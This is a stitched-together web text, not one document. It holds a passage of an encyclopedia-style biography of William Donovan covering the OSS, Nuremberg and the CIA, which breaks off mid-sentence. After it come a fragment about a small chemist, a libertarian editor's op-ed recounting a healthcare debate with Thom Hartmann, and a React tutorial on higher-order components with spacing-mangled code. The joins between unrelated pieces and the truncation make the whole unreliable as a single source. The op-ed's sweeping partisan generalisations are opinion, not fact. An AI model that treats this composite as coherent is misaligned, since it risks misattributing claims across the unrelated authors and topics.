Roosevelt came to place great value on Donovan's insight. Following Germany's and the USSR's invasions of Poland in September 1939 and the start of World War II in Europe, President Roosevelt began to put the United States on a war footing. This was a crisis of the sort that Donovan had predicted, and he sought out a responsible place in the wartime infrastructure. On the recommendation of Donovan's friend, Secretary of the Navy Frank Knox, Roosevelt gave him a number of increasingly important assignments. In 1940 and 1941, Donovan traveled as an informal emissary to Britain, where he was urged by Knox and Roosevelt to gauge Britain's ability to withstand Germany's aggression.[40]
During these trips, Donovan met with key officials in the British war effort, including Winston Churchill and the directors of Britain's intelligence services.[41] He also had lunch with King George VI. Donovan and Churchill got along famously, sharing war stories and reciting in unison the nineteenth-century poem "The Cavalier's Song" by William Motherwell.[21] Impressed by Donovan and cheered by his eagerness to help Britain, Churchill ordered that he be given unlimited access to classified information. Donovan returned to the U.S. confident of Britain's chances and enamored of the possibility of founding an American intelligence service modeled on that of the British.[41] He strongly urged Roosevelt to give Churchill the aid he requested. Roosevelt wanted to provide such aid, and asked Donovan to use his knowledge of the law to figure out how to skirt the congressional ban on selling armaments to the United Kingdom.[21]
British diplomats, who shared Churchill's admiration for Donovan, expressed the wish to State Department officials that Donovan replace U.S. Ambassador to Britain Joseph P. Kennedy, who favored the appeasers and was defeatist regarding British prospects. In the view of Walter Lippmann, a political columnist, Donovan's findings about Britain's fighting capability "almost singlehandedly overcame the unmitigated defeatism which was paralyzing Washington." Donovan also examined U.S. naval defenses in the Pacific (which he found wanting) and visited several countries along the Mediterranean and in the Middle East, serving as an unofficial envoy for both the U.S. and Britain and urging leaders there to stand up to the Nazis.[42] He also met frequently in New York with William Stephenson, a spy for MI6 who was known as "Intrepid". Donovan and Stephenson, according to Evan Thomas, "eventually became so close that they were known as 'Big Bill' and 'Little Bill'."[21] Donovan, Douglas Waller has said, "could not have formed the OSS without the British, who provided intelligence, trainers, organizational charts and advice – all with the idea of making OSS an adjunct to British intelligence. But Donovan wanted to mount his own operations."[43]
OSS [ edit ]
Major General William J. Donovan, Director, OSS and Colonel William H. Jackson in April 1945.
On July 11, 1941, Roosevelt signed an order naming Donovan Coordinator of Information (COI). "At the time," Evan Thomas has written, "the U.S. government had no formal spy agency. In 1929, the Secretary of State, Henry L. Stimson, had abolished the highly effective Black Chamber, a code-breaking organization left over from World War I." In Stimson's view, "Gentlemen do not read each other's mail."[21] To be sure, the Army, Navy, FBI, State Department, and other entities all ran their own intelligence units, but they were feeble and isolated from one another. They also saw Donovan's new operation as a threat to their turfs.[44]
Nevertheless, Donovan began to lay the groundwork for a centralized intelligence program. It was he who organized the COI's New York headquarters in Room 3603 of Rockefeller Center in October 1941 and asked Allen Dulles to head it; the offices Dulles took were on the floor immediately above the location of the operations of Britain's MI6.[45] Evan Thomas has described the OSS as an "informal" and "freewheeling" place where "[r]ank meant little." David Bruce later recalled: "Woe to the officer who turned down a project because, on its face, it seemed ridiculous or at least unusual... His imagination was unlimited. Ideas were his plaything. Excitement made him snort like a race horse." Throughout the war, the OSS would endure criticism by segments of the U.S. media and by many highly placed figures in the U.S. government and military. General George Marshall was an early critic but later changed his mind. Eisenhower was always supportive, as was George Patton.[43]
On December 7, after the Japanese attack on Pearl Harbor, Donovan met privately with Roosevelt and Edward R. Murrow, and FDR told Donovan, apropos of the COI, "It's a good thing you got me started on this."[46] When Hitler gave a speech declaring war on the United States, he mentioned Donovan, whom he called "utterly unworthy".[47] Donovan urged Roosevelt not to intern Japanese-Americans, warning that such an action would address a problem that did not exist, do harm to loyal Americans, and provide the Japanese with ammunition for their propaganda.[48]
Donovan set up espionage and sabotage schools, established front companies, arranged clandestine collaborations with international corporations and the Vatican, and oversaw the invention of new, espionage-friendly guns, cameras, and bombs. Donovan also recruited agents, selecting individuals with a wide range of backgrounds – ranging from intellectuals and artists to people with criminal backgrounds. He hired a great many female spies, dismissing criticism by those who felt women were unsuited to such work. Among his prominent recruits were film director John Ford, actor Sterling Hayden, author Stephen Vincent Benet, and Eve Curie, daughter of the scientists Marie and Pierre Curie.[49] Other OSS recruits included poet Archibald MacLeish, banker Paul Mellon, Alfred du Pont, Julia Child, psychologist Carl Jung (who helped with the effort to analyze the psyches of Hitler and other Nazi leaders), author Walter Lord, and members of the Auchincloss and Vanderbilt families. There were so many aristocrats in the agency that the joke went around that OSS stood for "Oh So Social".[21]
In 1942, the COI ceased being a White House operation and was placed under the aegis of the Joint Chiefs of Staff. Roosevelt also changed its name to the Office of Strategic Services (OSS).[50] Donovan was returned to active duty in the U.S. Army in his World War I rank of colonel. He was promoted to brigadier general in March 1943 and to major general in November 1944. Under his leadership the OSS would eventually conduct successful espionage and sabotage operations in Europe and parts of Asia, but continued to be kept out of South America owing to J. Edgar Hoover's hostility to Donovan,[51] which also had a deleterious impact on efforts to share information between the two agencies.[52] In addition, the OSS was blocked from the Philippines by the antipathy of General Douglas MacArthur, the commander of the Southwest Pacific Theater.[51] OSS espionage and other on-site activities helped prepare the ground for the 1942 Allied invasion of North Africa, however,[53] and Donovan himself took part in the Allied landing at Salerno, Italy, on September 3, 1943,[54] and at the Anzio landing on January 22, 1944.[55]
Donovan was in fact very active in virtually every theater of World War II. He spent a good deal of time in the Balkans, to which he had urged both Roosevelt and Churchill to pay more attention. He met in Europe with highly placed anti-Nazi Germans to broker an early peace that would allow for occupation by the Western Allies, establish a democratic Germany, and leave the Soviets out in the cold.[56] In China, he struggled with Chiang Kai-shek and his underlings for permission to carry out espionage activities in their territory.[57] He inspected OSS operations in Burma,[58] met with Vyacheslav Molotov in Moscow to arrange for cooperation between the OSS and NKVD,[59] and was present for MacArthur's successful April 1944 invasion of Hollandia on the northern coast of New Guinea.[60] Overall, the OSS was most effective in the Balkans, China, Burma, and France.[43]
By 1943, Donovan's relations with British officials were becoming increasingly strained as a result of turf wars, strategic and tactical disagreements, radical differences in style and temperament (the British accused the OSS of playing "cowboys and red Indians"), and contrasting visions of the postwar world.[56] (The British wanted to retain their empire; Donovan saw the empire, at least in some instances, as an impediment to democracy and economic development.)[61] MI6 chief Stewart Menzies was extremely hostile towards the idea of OSS operations anywhere in the British Empire, and categorically forbade the OSS to operate within the UK, or to deal with allied governments in exile which were based in London. Nonetheless, as of May 1944, Donovan had "some eleven thousand American officers and foreign agents scattered in every important capital."[62] During the war he also received intelligence from a network of Catholic priests across Europe who engaged in espionage without the Pope's knowledge.[63]
On D-Day, Donovan was on one of the ships that took part in the Normandy landing. Going ashore, he and his commander of covert operations in Europe, Colonel David Bruce, were shot at by a German plane, then moved on toward the American front lines and encountered German machine-gun fire. As they lay on the ground, Bruce later recalled, Donovan said, "David, we mustn't be captured. We know too much." Donovan said that he had two suicide pills, but then discovered he didn't. "I must shoot first," Donovan said. Bruce replied, "Yes, sir, but can we do much against machine guns with our pistols?" Donovan explained: "Oh, you don't understand. I mean, if we are about to be captured, I'll shoot you first. After all, I am your commanding officer."[21]
Eventually, they found their way to General Omar Bradley's newly set-up tent headquarters on the beach. Upon returning to Washington, Donovan reported directly to Roosevelt on what he had observed. The success of the invasion, he said, showed that German naval and air forces were definitely no longer "Big League" and that "something has died in the German machine."[64] Before the month was over, he was in Italy, implementing reforms in the OSS operation in that theater. He also met with Pope Pius XII, telling him about the activities of intelligence agents working out of the Japanese embassy at the Vatican.[65] During the weeks leading up to the Valkyrie plot to kill Hitler, Allen Dulles, Donovan's man in Switzerland, who was in contact with the plotters, kept him abreast of developments.[66]
A particular triumph for the OSS was the role it played in conveying intelligence from southern France in the run-up to the Allied landing on the French Riviera on August 15, 1944. Thanks to Donovan's spies, said Colonel William Quinn, the invading army "knew everything about that beach and where every German was." Donovan was present for that invasion, too, after which he returned to Rome for a secret meeting with Hitler's envoy to the Vatican, Ernst von Weizsäcker.[67] Shortly afterwards, he met with Marshal Tito to discuss OSS operations in Yugoslavia.[68] Also in August 1944, Donovan came into conflict with Churchill over the OSS's support for Greek anti-royalists.[69]
In the closing days of the war in Europe, Donovan spent much of his time in London, where he worked out of a command center that took up an entire floor of Claridge's Hotel. He fielded reports from across the continent, where the Wehrmacht was in such chaos that he "knew their positions on the battlefield better than German generals did." In one of many initiatives, he sent out "teams of French, Danish, Norwegian, and Polish nationals" to identify Gestapo officers who had tortured them and who now were trying to blend in with civilians in Allied-controlled areas of Germany. Acting on Donovan's orders, Dulles oversaw the surrender of the remaining Nazi forces in Italy several days in advance of the final German capitulation.[70][71]
Donovan, Head of the OSS
Postwar plans [ edit ]
As World War II began to wind to a close in early 1945, Donovan began to focus on preserving the OSS beyond the end of the war. A February 19 article in the Washington Times-Herald revealed his plans for a postwar intelligence agency and published a secret memo he had sent to Roosevelt proposing its creation. The article compared the proposed agency to the Gestapo. Knowing that Americans wanted a smaller federal government after the war, Roosevelt was not entirely sold on Donovan's proposal, although Donovan felt reasonably confident he could talk the president into the idea. J. Edgar Hoover disapproved of Donovan's plan, which he saw as a direct threat to FBI authority, even though Donovan had stressed that his agency would operate only abroad, not domestically.[72] After Roosevelt's death in April, however, Donovan's political position was substantially weakened. Although he argued forcefully for the OSS's retention, he found himself opposed by the new president, Harry S. Truman. While the OSS got "glowing reviews" from many wartime commanders, notably Eisenhower, who described its contributions as "vital", critics dismissed it as "an arm of British intelligence" and, like the Times-Herald reporter, painted dark pictures of it as an American Gestapo in the making.[73]
Nuremberg trials [ edit ]
While British authorities and the US military and State Department were relatively indifferent to the question of trying war criminals after the war, Donovan was lobbying Roosevelt as early as October 1943 to arrange for such prosecutions. Roosevelt tasked Donovan with looking into the legalities and technicalities, and in the months that followed Donovan collected testimonies about war criminals and related information from a wide range of sources. In addition to seeking justice, Donovan wanted to exact retribution for the torture and killing of OSS agents. When Truman named Supreme Court Justice Robert Jackson to serve as chief U.S. counsel in the prosecution of Nazi war criminals, Jackson, discovering that the OSS was the only agency that had seriously explored the issue, invited Donovan to join his trial staff.[74]
On May 17, 1945, Donovan flew to Europe to prepare for the prosecutions, and eventually brought 172 OSS officers onto Jackson's team, interviewing Auschwitz survivors, tracking down SS and Gestapo documents, and uncovering other evidence. Donovan, whose idea it was to hold the trials in Nuremberg, also introduced Jackson to useful foreign officials and even released OSS funds to bankroll the prosecution effort. Eventually, Jackson, who had been a political rival of Donovan's in New York State, considered him a "godsend"; in return for Donovan's help, but also because the OSS had proven "vital for the prosecution team," Jackson lobbied Truman in person to approve of Donovan's plans for a permanent postwar intelligence agency.[75] The effort was unsuccessful, however. On September 20, 1945, Truman signed an executive order abolishing the OSS.[76]
In Nuremberg, Donovan interrogated many prisoners, including Hermann Göring, whom he spoke with ten times. But eventually Donovan fell out with Jackson. The latter wanted to indict the entire German High Command, not just men who had personally ordered or committed war crimes; Donovan considered this a violation of American principles of fairness. Donovan, a former prosecutor, also criticized Jackson's lack of skill and experience at putting together a strong case and at courtroom examination and cross-examination. Jackson removed him from the team, and Donovan returned to the U.S., where in January 1946 Truman presented him with the Distinguished Service Medal.[77]
CIA [ edit ]
In 1946, Donovan resumed the practice of law and began writing a history of American intelligence since the Revolution – a book he never completed. He traveled extensively in Europe and Asia and ran unsuccessfully for the Republican nomination for U.S. Senate.[78]
He also became chairman of the newly founded American Committee on United Europe (ACUE), which worked to counter the new Communist threat to Europe by promoting European political unity. The vice-chairman was Allen Dulles, and Walter Bedell Smith sat on the board as well. The ACUE financed the European Movement, the most important federalist organization in the immediate postwar years. (In 1958, the ACUE provided 53.5% of the movement's funds.) In addition, the ACUE provided all of the funding for the European Youth Campaign, in which Joseph Retinger, Robert Schuman, and Paul-Henri Spaak began their political careers.[79]
Meanwhile, Truman moved forward with plans for a new intelligence agency, finally giving approval in 1946 for a watered-down interdepartmental "Central Intelligence Group." Donovan warned that it would be ineffectual – he compared it to a "debating society" – and he soon proved to be right. As the Cold War quickly intensified, Truman recognized the need for a far stronger intelligence service, and in February 1947 asked Congress to approve plans for a Central Intelligence Agency along the lines Donovan had proposed.[80] Donovan himself lobbied Congress privately to pass the enabling legislation, the National Security Act of 1947.[71] It was, in Waller's words, "a vindication of Donovan's vision".[45] Among the OSS members who went on to become major CIA figures were Allen Dulles, William Casey, William Colby, and James Jesus Angleton.[43]
Donovan wanted to lead the CIA, and had many supporters who urged Truman to put him in charge. Instead, the president gave the job to Admiral Roscoe Hillenkoetter, whom Waller described as "lackluster". Meanwhile, Donovan accepted a Truman appointment to head a committee studying the country's fire departments. But he worked behind the scenes to aid in the formation of the CIA, recommending that Hillenkoetter hire Dulles and other OSS veterans, suggesting various covert operations, and sharing contacts and |
chemist premises. For decades, Lew has worked to keep his regular customers alive and well.
Now he is looking to them for support and loyalty as he goes head-to-head with the restless industry upstart. He says he is David in a battle with Goliath. "We're only small but we're competing." Got a tip? Contact us securely on JournoTips Follow Ben Schneiders on FacebookThom Hartmann invited the editor of The Libertarian Republic news magazine onto his show to debate whether citizens should have a right to free healthcare. Hartmann cited a case where a sick homeless man threatened President Obama’s life as a means to seek free treatment for his illnesses in prison. When the interview started though, Hartmann cited a case whereby Presidential Candidate Ron Paul’s campaign aide Kent Snyder died from complications with pneumonia in 2008. Thom blamed Snyders death directly on Congressman Paul claiming that because he did not provide him health insurance he was the reason for his death. It was a new low in cable news and a sad day for Americans who care deeply about their loved ones who suffer from terminal illness.
Your humble editor had fully prepared dozens of facts and statistics citing the danger of government medicine but when the Russia Today host personally attacked the former Texas Congressman Ron Paul, those went out the window and I exploded. I’d like to apologize to my readers for my misbehavior. When I was fourteen years old my mother died as a result of ovarian cancer. It was a complication exacerbated by the C-section that I required to be born and that would force my mother to receive a hysterectomy. Adding insult to injury was the revelation that a pharmacist in Kansas City, Robert Courtney, was diluting her chemotherapy drugs and that of thousands of other patients. Throughout the yearlong process of her death and the subsequent revelation that she had likely been poisoned by ill prescribed chemo, my family did not seek state assistance to pay for her medical bills. It was because of the fact that she and my father had started a small family business that we could afford the expensive treatments and medications needed to help ease her suffering.
And despite the fact that Robert Courtney was clearly capitalizing from inflicting suffering on others, I do NOT believe that most doctors or health insurance companies, pharmacists or drug companies are like this man. Rather I believe that they are more like the wonderful team of oncologists that worked so hard to save my mothers life. It was a team of doctors that were the ones to discover the mountebank and his schemes. And they did not do that out of a profit motive. They did it out of the kindness of their hearts because their care for the sick and the dying went above just their treating of their own patients. They did what was right because it was the right thing to do. Because of this, I believe that overall people are good and when we are faced with tragedy or difficulty we will work together voluntary and peacefully to help one another.
Thom stated in the interview that he believed it was possible to run a system where absolutely everyone could receive healthcare. That isn’t even true in the best run healthcare systems of Europe or Canada. People with pathological diseases routinely die while awaiting treatment, or they flee to the United States where they can receive medical care in a short amount of time. You see, capitalists such as myself do not argue that it is possible to give everyone everything they need. That is ridiculous to believe. But what we do argue is that the profit incentive lowers costs and gives doctors the incentive to compete for customers because more customers means more profits. And more profits means more investment into life saving technologies. That means that capitalism will give more people on whole the ability to receive better healthcare. It doesn’t mean a perfect system. The only people who believe that a perfect system could exist are communist utopists and politicians willing to lie to get votes.
Hartmann was unapologetic in his defense of the use of violence to achieve his ends. It’s a common understanding that socialists do not adhere to the non-aggression principle. Violence is simply another means to their ends of attempting to achieve a perfect utopian society No matter how many people suffer and die under socialist and communist healthcare systems they are absolutely unwilling to accept the reality that the reason America has the best health care system in the world is because we are one of the freest healthcare systems still in existence. But that is sadly coming to an end with the ushering in of Obamacare and the implementation of the state exchanges that will move us towards a more European style model.
I attempted to explain to Thom how positive rights differed from negative rights. A right is something that must be provided. The difference between negative rights and positive rights are that positive rights are rights that involve redistributing something from one person to give to another. A negative right is a right that can be exercised without a requirement that something be provided to you in order to exercise it. An example of a negative right is free speech. I am not required to tax anyone to express my right to free speech. I can engage in it freely. A positive right would be something like saying that food or water or healthcare must be provided and the mechanism for that is taxation or confiscation. The argument over whether positive rights are rights at all is a heated debate. Some hardcore anarchists claim that no one has positive rights, not even babies. But if that were true, does it mean that mothers should legally be allowed to leave their babies in dumpsters because they are not obligated to provide a positive right to food or healthcare? Libertarians generally fall on the line of arguing that only negative rights exist mostly and if government is to exist at all it’s sole purpose is to protect life, liberty and the pursuit of happiness. If any positive rights exist at all they are to be reserved only for children who are unable to provide for themselves the means to pursue life, liberty or happiness. This is what has differentiated free market economists such as Friedrich Hayek who argued for a limited social safety net and Murray Rothbard who was an anarcho-capitalist.
Do you believe that people have positive rights? What about children? If you’re a libertarian would you say you agree more with Hayek on the idea of a limited state and a social safety net? Or are you more of a Rothbardian who states that no one, not even children have positive rights? Leave your thoughts below.A gentle Introduction to React's Higher Order Components
April 4, 2017 - Edit this Post on GitHub
Another fitting headline for the article could be: learn Higher Order Components with Conditional Rendering in React.
Higher order components, or known under the abbreviation HOCs, are often a difficult to grasp pattern in React (next to the render props pattern). These components can be used for multiple use cases. I want to pick out one use case, the conditional rendering with higher-order components, to give you two outcomes from this article as a reader.
First, it should teach you about React’s higher-order components with the use case of conditional rendering. Keep in mind, that altering the look of a component with a higher-order component, specifically in the context of conditional rendering, is only one of several use cases to use HOCs. For instance, you could use them to opt-in local state or to alter props as well.
Second, even though you might already know HOCs, the article goes a bit further by composing higher-order components in React with the library recompose and by applying functional programming principles. You will get to know how to use higher-order components in an elegant way.
In order to teach React higher-order components, the article focuses on the use case of conditional rendering. A conditional rendering in React can be applied in multiple ways. You can use if-else statements, the ternary operator or the logical && operator. You can read more about the different ways in another article about conditional renderings in React. If you are not familiar with conditional rendering in React, you could read the article first.
A Growing React Component
We will start with a problem in React where higher-order components could be used as solution. Let’s assume our application has a TodoList component.
function App ( props ) { return ( < TodoList todos = { props. todos } /> ); } function TodoList ({ todos }) { return ( < div > { todos. map ( todo => < TodoItem key = { todo. id } todo = { todo } /> )} < /div> ); }
In a real world application that’s not sufficient most of the time. You have to bother with so much more. Usually you would put the so much more related things outside of your TodoList in the parent component. But to keep the example and learning experience concise, I will place every so much more edge case in the TodoList component.
What are these edge cases I am speaking about?
First, what happens when your todos are null? You would apply a conditional rendering to opt-out earlier from your rendering.
function TodoList ({ todos }) { if (! todos ) { return null ; } return ( < div > { todos. map ( todo => < TodoItem key = { todo. id } todo = { todo } /> )} < /div> ); }
Second, what happens when your todos are not null but empty? You would show a message in a conditional rendering to give your application user an improved user experience (UX).
function TodoList ({ todos }) { if (! todos ) { return null ; } if (! todos. length ) { return ( < div > < p > You have no Todos. < /p> < /div> ); } return ( < div > { todos. map ( todo => < TodoItem key = { todo. id } todo = { todo } /> )} < /div> ); }
Third, since the todos arrive asynchronously from your backend, you want to show a loading indicator in case the todos are still in a pending request. You would get one more property, such as ‘isLoadingTodos’, to know about the loading state.
function TodoList ({ todos, isLoadingTodos }) { if ( isLoadingTodos ) { return ( < div > < p > Loading todos... < /p> < /div> ); } if (! todos ) { return null ; } if (! todos. length ) { return ( < div > < p > You have no Todos. < /p> < /div> ); } return ( < div > { todos. map ( todo => < TodoItem key = { todo. id } todo = { todo } /> )} < /div> ); }
Okay. I don’t want to make this more complex as it is. But you get the idea that a lot of edge cases for conditional renderings can add up in a simple component. Higher order components can solves this issue. They can be used to shield away these edge cases as reusable functionalities. Thus the TodoList has not to worry about it anymore. Let’s enter the concept of React’s higher-order components to deal with it.
Entering React's Higher Order Components
Higher order components usually take a component and optional arguments as input and return an enhanced component of the input component. In our example, the goal would be to shield away specifically all the conditional rendering edge cases from the TodoList component.
Let’s remove the first case from the TodoList where the todos are null.
function TodoList ({ todos, isLoadingTodos }) { if ( isLoadingTodos ) { return ( < div > < p > Loading todos... < /p> < /div> ); } // Removed conditional rendering with null check if (! todos. length ) { return ( < div > < p > You have no Todos. < /p> < /div> ); } return ( < div > { todos. map ( todo => < TodoItem key = { todo. id } todo = { todo } /> )} < /div> ); }
Now let’s implement our first higher-order component in React to take ownership of this functionality. Higher order components can come with the naming prefix with, but it is not mandatory. In the end, it makes it easier to distinguish a React component from a React higher-order component.
function withTodosNull ( Component ) { return function ( props ) {... } }
Now, let’s slow down and let me explain what’s happening in withTodosNull.
Basically the withTodosNull function is a higher order function. It takes an input and returns another function. Since we use it in the context of React, we can call it a higher-order component. Because it takes a Component as input and returns another Component. We don’t return another Component yet, but we will do later on. In this case it will return a functional stateless component, but it could return a ES6 class component as well. Depending on your use case you can use different component types. Yet a functional stateless component is sufficient for the sake of conditional rendering. When you would need access to this.state or React lifecycle methods, you could return an ES6 class component.
As mentioned, the enhanced component doesn’t render anything. Let’s add the rendered output of the enhanced component.
function withTodosNull ( Component ) { return function ( props ) { return! props. todos? null : < Component {... props } /> } }
First, there is a conditional rendering with the ternary operator. The higher-order component decides whether it shows nothing or the input component based on the condition. If the todos are null, it shows nothing. If the todos are not null, it shows the input component.
Second, all the props are passed - further down the component tree - to the input component. For instance, if you would use the withTodosNull HOC to enhance the TodoList, the latter would get all the props passed through the HOC as input with the JavaScript spread operator.
All the function and return statements make it hard to work with higher-order components. You can use JavaScript ES6 arrow functions to make it concise again.
const withTodosNull = ( Component ) => ( props ) =>! props. todos? null : < Component {... props } />
As a side note, to avoid confusion: In a JavaScript ES6 arrow function you can omit the curly braces. You transform the block body to a concise body. In a concise body you can omit the return statement because it will implicitly return.
Finally the first higher-order component is finished. Let’s use it:
const withTodosNull = ( Component ) => ( props ) =>... function TodoList ({ todos }) {... } const TodoListWithNull = withTodosNull ( TodoList ); function App ( props ) { return ( < TodoListWithNull todos = { props. todos } /> ); }
That’s it. As you can see, you can use it whenever you need it. Higher order components are reusable.
But there are more conditional renderings in the TodoList component. Let’s quickly implement two more higher-order components that take ownership of the loading indicator and an empty list.
const withTodosEmpty = ( Component ) => ( props ) =>! props. todos. length? < div >< p > You have no Todos. < /p></div> : < Component {... props } /> const withLoadingIndicator = ( Component ) => ( props ) => props. isLoadingTodos? < div >< p > Loading todos... < /p></div> : < Component {... props } />
There is only one nitpick. The withLoadingIndicator passes all the props to the input component. Even though the input component is not interested in the isLoadingTodos. You can use the JavaScript ES6 rest destructuring to split up the props.
const withLoadingIndicator = ( Component ) => ({ isLoadingTodos,... others }) => isLoadingTodos? < div >< p > Loading todos... < /p></div> : < Component {... others } />
Now the isLoadingTodos is split out from the props and only used in the HOC. All the others props are passed to the input component.
Last but not least, let’s use all HOCs for our TodoList component.
const withTodosNull = ( Component ) => ( props ) =>... const withTodosEmpty = ( Component ) => ( props ) =>... const withLoadingIndicator = ( Component ) => ({ isLoadingTodos,... others }) =>... function TodoList ({ todos }) {... } const TodoListOne = withTodosEmpty ( TodoList ); const TodoListTwo = withTodosNull ( TodoListOne ); const TodoListThree = withLoadingIndicator ( TodoListTwo ); function App ( props ) { return ( < TodoListThree todos = { props. todos } isLoadingTodos = { props. isLoadingTodos } /> ); }
The order to apply the higher-order components should be the same as in the previous TodoList with all implemented conditional renderings. Otherwise, like in the basic TodoList component that had all the conditional renderings, you would run into bugs because of an length check on an null todos object.
Let’s see what is left in the TodoList component:
function TodoList ({ todos, isLoadingTodos }) { return ( < div > { todos. map ( todo => < TodoItem key = { todo. id } todo = { todo } /> )} < /div> ); }
Isn’t that great? We shielded away all the conditional renderings and the TodoList component only bothers to render todos. Now you know how to use higher-order components. As I said, the article taught HOCs leveraging conditional rendering. But you can use them for various use cases.
But it is kinda tedious to wrap all the components by hand into each other.
const TodoListOne = withTodosEmpty ( TodoList ); const TodoListTwo = withTodosNull ( TodoListOne ); const TodoListThree = withLoadingIndicator ( TodoListTwo );
You could refactor it to:
const TodoListWithConditionalRendering = withLoadingIndicator ( withTodosNull ( withTodosEmpty ( TodoList )));
Still, it is not readable. React embraces functional programming, so why are we not using these principles?
Entering Recompose in React
The little higher-order component library recompose has a lot built-in higher-order components that you can re-use. You should definitely check them out after you have read this article. However, it comes with a neat functionality called compose that allows you to return one function composed out of multiple functions. These multiple functions could be all of our conditional rendering HOCs. And that’s how you use it:
import { compose } from'recompose' ;... const withConditionalRenderings = compose ( withLoadingIndicator, withTodosNull, withTodosEmpty );
Now you can use the function to pass in your input component that needs to become an enhanced component with all the conditional renderings.
const TodoListWithConditionalRendering = withConditionalRenderings ( TodoList );
That’s convenient, isn’t it? You can use compose to pass your input component through all higher-order component functions. The input components gets an enhanced version of the component in each function.
import { compose } from'recompose' ; const withTodosNull = ( Component ) => ( props ) =>... const withTodosEmpty = ( Component ) => ( props ) =>... const withLoadingIndicator = ( Component ) => ({ isLoadingTodos,... others }) =>... function TodoList ({ todos }) {... } const withConditionalRenderings = compose ( withLoadingIndicator, withTodosNull, withTodosEmpty ); const TodoListWithConditionalRendering = withConditionalRenderings ( TodoList ); function App ( props ) { return ( < TodoListWithConditionalRendering todos = { props. todos } isLoadingTodos = { props. isLoadingTodos } /> ); }
After all, higher-order components themselves are reusable. By composing these components into each other, you get a lot of permutations of component enhancements.
Reusability with abstracted Higher Order Components
The higher-order components of the last section were pretty specific. Each of them had a specific use case matching the requirements of the TodoList component. You wouldn’t be able to use them in another context, to be more specific, in another component with a different props structure. Thinking about the long term investment in an application, you could abstract these higher-order components to make them reusable by other components too.
As I mentioned, higher-order components take an input component and an optional payload. These optional payloads are often used for configuration.
Let’s give the withTodosNull an optional payload. The payload is a function that returns true or false to decide the conditional rendering.
const withTodosNull = ( Component, conditionalRenderingFn ) => ( props ) => conditionalRenderingFn ( props )? null : < Component {... props } />
The name of the higher-order component is misleading now. The HOC is not aware anymore of the props data structure nor is it aware of the todos at all. You could name it withCondition, because it takes a function that returns true or false.
const withCondition = ( Component, conditionalRenderingFn ) => ( props ) => conditionalRenderingFn ( props )? null : < Component {... props } />
Now you could use the higher-order component but with a function that determines the conditional rendering.
const withCondition = ( Component, conditionalRenderingFn ) => ( props ) => conditionalRenderingFn ( props )? null : < Component {... props } /> const conditionFn = ( props ) =>! props. todos ; const TodoListWithCondition = withCondition ( TodoList, conditionFn );
The withCondition HOC enables you to re-use it everywhere for a conditional rendering that returns the input component or nothing. It is independent of the input component, independent of the condition and independent of the props structure.
Now let’s use the withCondition in our composition of HOCs.
import { compose } from'recompose' ; const withConditionalRenderings = compose ( withLoadingIndicator, withCondition, withTodosEmpty ); const TodoListWithConditionalRendering = withConditionalRenderings ( TodoList );
That’s not going to work. The function signature of withCondition has two arguments: the input component and the optional payload that is the conditional function. But composing works by passing only one value from function to function.
Here is the catch in functional programming. You will often pass only one argument, that’s why currying exists. However, you don’t need to bother with a curry function now. So instead of using two arguments in the withCondition higher-order component, you can use another higher order function.
const withCondition = ( conditionalRenderingFn ) => ( Component ) => ( props ) => conditionalRenderingFn ( props )? null : < Component {... props } />
Now, the first time you invoke withCondition you have to pass the condition function. It returns your higher-order component. The HOC can then be used in the composition of recompose.
import { compose } from'recompose' ;... const conditionFn = ( props ) =>! props. todos ; const withConditionalRenderings = compose ( withLoadingIndicator, withCondition ( conditionFn ), withTodosEmpty ); const TodoListWithConditionalRendering = withConditionalRenderings ( TodoList );
That’s a powerful abstraction, isn’t it? You can use the first higher order function to pass the optional payload and return the higher-order component that is used in the composition.
Maybe and Either Higher Order Components
You can use the naming conventions and principles of functional programming (FP) to name your abstracted higher-order components properly. Developers who are familiar with FP will know the use case of the HOC by seeing its name.
Let’s take the withCondition higher-order component.
const withCondition = ( conditionalRenderingFn ) => ( Component ) => ( props ) => conditionalRenderingFn ( props )? null : < Component {... props } />
The component returns nothing or the input component. Such a type, nothing or value, is called Maybe (or Option) in functional programming. After knowing this, you could call the higher-order component withMaybe. Even though the HOC is not an explicit type, it would use the naming convention of FP to make it simple to understand.
const withMaybe = ( conditionalRenderingFn ) => ( Component ) => ( props ) => conditionalRenderingFn ( props )? null : < Component {... props } />
What about the other two HOCs? They are not abstracted yet. They are different from the withMaybe higher-order component, because they return either the input component or another element. The Either type in FP defines these two differing values. In addition, similar to the withMaybe, the withEither could take as additional payload a component that should be shown if the condition doesn’t match.
const withEither = ( conditionalRenderingFn, EitherComponent ) => ( Component ) => ( props ) => conditionalRenderingFn ( props )? < EitherComponent /> : < Component {... props } />
Now you can use it in the application by passing the conditional function and the EitherComponent.
import { compose } from'recompose' ;... const EmptyMessage = () => < div > < p > You have no Todos. < /p> < /div> const LoadingIndicator = () => < div > < p > Loading todos... < /p> < /div> const isLoadingConditionFn = ( props ) => props. isLoadingTodos ; const nullConditionFn = ( props ) =>! props. todos ; const isEmptyConditionFn = ( props ) =>! props. todos. length const withConditionalRenderings = compose ( withEither ( isLoadingConditionFn, LoadingIndicator ), withMaybe ( nullConditionFn ), withEither ( isEmptyConditionFn, EmptyMessage ) ); const TodoListWithConditionalRendering = withConditionalRenderings ( TodoList );
Now every higher-order component receives a payload apart from the input component. The payload is used in another higher order function, to keep the higher-order component composeable with compose.
Last but least, let’s see everything in context to each other.
import { compose } from'recompose' ; const withMaybe = ( conditionalRenderingFn ) => ( Component ) => ( props ) => conditionalRenderingFn ( props )? null : < Component {... props } /> const withEither = ( conditionalRenderingFn, EitherComponent ) => ( Component ) => ( props ) => conditionalRenderingFn ( props )? < EitherComponent /> : < Component {... props } /> const EmptyMessage = () => < div > < p > You have no Todos. < /p> < /div> const LoadingIndicator = () => < div > < p > Loading todos... < /p> < /div> const isLoadingConditionFn = ( props ) => props. isLoadingTodos ; const nullConditionFn = ( props ) =>! props. todos ; const isEmptyConditionFn = ( props ) =>! props. todos. length const withConditionalRenderings = compose ( withEither ( isLoadingConditionFn, LoadingIndicator ), withMaybe ( nullConditionFn ), withEither ( isEmptyConditionFn, EmptyMessage ) ); const TodoListWithConditionalRendering = withConditionalRenderings ( TodoList ); function App ( props ) { return ( < TodoListWithConditionalRendering todos = { props. todos } isLoadingTodos = { props. isLoadingTodos } /> ); } function TodoList ({ todos }) { return ( < div > { todos. map ( todo => < TodoItem key = { todo. id } todo = { todo } /> )} < /div> ); }
If you are curious about how recompose makes stateless components stateful, you can checkout this article: React State without a Class.
I hope the article helped you to learn higher-order components in the context of conditional rendering. In addition, I hope that it gave you inspiration on how you can use abstraction and functional programming with higher-order components.
